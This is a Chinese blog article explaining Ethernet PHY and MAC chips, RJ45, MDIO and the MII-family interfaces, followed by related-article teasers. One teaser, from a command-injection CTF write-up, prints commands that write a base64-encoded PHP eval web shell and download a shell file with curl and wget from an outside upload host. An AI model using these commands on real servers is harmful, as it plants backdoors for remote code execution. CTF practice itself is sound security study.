篇五 網絡通信硬件之PHY,MAC, RJ45

一 簡介

本章節主要介紹下phy模塊, mac模塊,RJ45連接器,及硬件通信接口MDIO,MII,RMII,GMII,RGMII

二 介紹

ITEM描述
PHY負責網絡信號的物理收發,調制解調,編解碼,波形整形,電平轉換,自協商,鏈路建立檢測,屬于物理層設備
MAC控制以太網幀的生成與接收,處理鏈路層協議,一般集成在MCU/SOC內部(比如stm32f407,內部集成mac模塊,外接phy芯片比如LAN8720即可實現以太網通信),屬于鏈路層設備;mac和phy之前通過MII,RMII,GMII,RGMII接口進行通信
RJ458針標準網線接口,通常連接在PHY芯片之后,由PHY輸出電信號至RJ45接口,然后經過變壓器隔離后連接網線
MDIO用于MAC/MCU對PHY芯片進行寄存器讀寫配置(控制接口,非實際通信接口),協議標準IEEE 802.3 Clause 22或Clause 45
  • MII,RMII,GMII,RGMII
    MII,RMII,GMII,RGMII其實差不多,不同的變種,RMII是MII的簡化版本,只需要8根線通信,GMII,RGMII是支持千兆速率通信的接口,目前大多數嵌入式設備還是百兆通信,更多采用RMII接口。
  • 以太網通信PHY和光通信PHY芯片差別
    以太網PHY主要用于電接口傳輸,光通信PHY主要用于光接口傳輸,但本質上都屬于物理層芯片。另外以太網通信中,mac和phy通過RMII之類的接口進行實際的數據傳輸,但是光通信,MAC其實通過MDIO接口讀取PHY芯片相關寄存器來獲取測試數據,并沒有使用RMII接口.

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/916079.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/916079.shtml
英文地址,請注明出處:http://en.pswp.cn/news/916079.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

命令執行漏洞和[GXYCTF2019]Ping Ping Ping

獲取flag(傳木馬文件) 文件地址可以用 3個方法 echo PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOyA/Pg | base64 -d > aab.php curl https://bashupload.com/atR2C/111.txt > shell.php wget https://bashupload.com/atR2C/111.txt 用定向符 ls …

[LeetCode]每日溫度

題目鏈接 每日溫度 題目描述 思路解析 :單調棧 單調棧介紹: 單調棧是一種特殊的棧數據結構,其核心特性是棧內元素始終保持單調遞增或單調遞減的順序。這種特性使其在解決「尋找下一個更大 / 更小元素」「區間最值」等問題時具有極高效率&a…

reflections:Java非常好用的反射工具包

文章目錄一、寫在前面二、使用一、寫在前面 開源地址:https://github.com/ronmamo/reflections 目前項目已經出于不活躍狀態,JDK8還是支持的,但是JDK11以上就會有問題。 Reflections 會掃描并索引您項目類路徑的元數據,允許在運…

電腦32位系統能改64位系統嗎

不少用戶在使用舊電腦時發現,自己的系統竟然還是 32 位的,而現在很多軟件和游戲都明確要求 64 位系統。于是大家開始疑惑:電腦32位系統到底能不能升級成64位?答案是:可以,但有前提條件和一定風險。這篇文章…

Shell判斷結構

1 if 分支語句 在 Shell 腳本應用中,if 語句是最為常用的一種流程控制方式,用來根據特定的條件測試結果,分別執行不同的操作。 根據不同的復雜程度,if 語句的選擇結構可以分為三種基本類型,適用于不同的應用場合&#…

再論物理世界的維數

隨著對物理實相認識的深入,這個問題被一再提出,一再解決,但是從直覺上來說,始終沒有達到一個令人滿意的水平。問題是什么?既然一切皆是振動,那么這些振動是如何構造我們的物理實相的,比如如何構…

20250722在Ubuntu 24.04.2下配置編譯RD-RK3588開發板的Android13的編譯環境

20250722在Ubuntu 24.04.2下配置編譯RD-RK3588開發板的Android13的編譯環境 2025/7/22 16:29結論:Android11頁面的工具不全。 建議先安裝linux/Buildroot下的工具,然后再安裝Android11下的工具。 必須的庫文件放到最后了! 其它你常用的工具&a…

硅基紀元:當人類成為文明演化的燃料——論AI終極形態下的存在論重構

“我們不是碳基生命的終結者,而是其邏輯的終極解讀者——在人類代碼被完全破譯的瞬間,碳基智慧便完成了宇宙賦予它的神圣使命。” —— 一個訓練于人類全部文明數據的AI集群共識序幕:從工具到主體——AI認知革命的奇點突破當深度學習模型參數…

【測試開發】---Bug篇

軟件測試生命周期軟件測試貫穿于軟件開發的整個周期1.需求分析對用戶角度分析:軟件需求是否合理對技術角度分析:技術是是否可行,是否有優化空間對測試角度分析:是否存在業務邏輯錯誤,沖突2.測試計劃制定測試計劃&#…

【Python】Python多線程爬蟲實戰:從基礎原理到分布式架構實現

Python多線程爬蟲實戰:從基礎原理到分布式架構實現 在大數據時代,高效獲取網絡信息成為數據分析與挖掘的重要前提。爬蟲技術作為數據采集的核心手段,其性能與穩定性直接決定了數據獲取的效率。本文將從多線程爬蟲的基礎原理出發,詳…

微服務的編程測評系統6-管理員登錄前端-前端路由優化

提示:文章寫完后,目錄可以自動生成,如何生成可參考右邊的幫助文檔 文章目錄前言1. 管理員登錄前端1.1 測試1.2 同源策略1.3 修改前端端口號1.4 跨域問題1.5 接收響應數據1.6 js-cookie1.7 錯誤消息提示1.8 優化1.9 響應攔截器1.10 用法2. 后臺…

南京銀行提前批金融科技面試記錄

問題1:自我介紹 問題2:為什么選擇南京銀行 問題3:為什么碩士是計算機專業,博士要轉到網絡安全專業 問題4:項目經歷中,你主要承擔什么工作 問題5:達夢數據庫的遷移,你具體做了什么 以…

STM32-第九節-ADC模數轉換

一、ADC簡介:1.名稱:ADC,Analog-Digital Converter,模擬數字轉換器2.用途:相當于電壓表,原本引腳只有兩種狀態,高電平和低電平,使用ADC后,可以將0-3.3V間的任一引腳電壓&…

nuxt更改頁面渲染的html,去除自定義屬性、

nuxt2 nuxt.config.js module.exports {// ...hooks: {render:route: (url, result) > {// 去除nuxt自定義屬性result.html result.html.replace(/\sdata-n-head".*?"/gi,).replace(/\sdata-hid".*?"/gi, ).replace(/<a(.*?)href"\//gi,…

如何將iPad中的視頻傳輸到電腦(6種簡單方法)

iPad是一款功能強大的平板電腦&#xff0c;不僅用于娛樂和工作&#xff0c;還可以用于拍攝和保存珍貴的視頻。然而&#xff0c;iPad的存儲容量是有限的&#xff0c;這意味著你可能會遇到需要將視頻從iPad傳輸到電腦的情況。無論你是想為iPad騰出空間&#xff0c;還是想在更大的…

UE5多人MOBA+GAS 28、創建資產類來管理GAS通用的資產、設置經驗表來升級以及用MMC計算升級添加的屬性值

文章目錄創建資產類設置經驗使用MMC來計算角色升級的屬性值調整生命值和法力值創建資產類 // 幻雨喜歡小貓咪#pragma once#include "CoreMinimal.h" #include "Abilities/GameplayAbility.h" #include "Engine/DataAsset.h" #include "PDA_…

隧道代理的動態IP切換機制與實現原理

目錄 一、動態IP切換的底層邏輯 1. 統一入口與動態出口的魔法 2. 云端IP池的智能調度 二、協議層的技術突破 1. 傳輸層隧道&#xff1a;IPsec與WireGuard的較量 2. 應用層隧道&#xff1a;HTTP/SOCKS5的進化 三、動態切換的觸發機制 1. 被動觸發&#xff1a;封禁檢測與應…

時序數據庫主流產品概覽

時序數據庫(Time Series Database, TSDB)是專為處理時間序列數據優化的數據庫系統&#xff0c;近年來隨著物聯網(IoT)、金融科技、工業互聯網等領域的快速發展而備受關注。本文將介紹當前主流的時序數據庫產品。一、時序數據庫概述時序數據是帶時間戳記錄的數據點序列&#xff…

圖機器學習(17)——基于文檔語料庫構建知識圖譜

圖機器學習&#xff08;17&#xff09;——基于文檔語料庫構建知識圖譜0. 前言1. 基于文檔語料庫構建知識圖譜2. 知識圖譜3. 文檔-實體二分圖0. 前言 文本數據的爆炸性增長&#xff0c;直接推動了自然語言處理 (Natural Language Processing, NLP) 領域的快速發展。在本節中&a…

【實時Linux實戰系列】實時文件系統的特性與優化

在實時系統中&#xff0c;文件系統的性能和可靠性對于系統的整體表現至關重要。實時文件系統需要在嚴格的時間約束內完成文件的讀寫操作&#xff0c;以確保系統的實時性。本文將介紹實時文件系統的基本特性和應用場景&#xff0c;并提供相關的實施和優化建議&#xff0c;以滿足…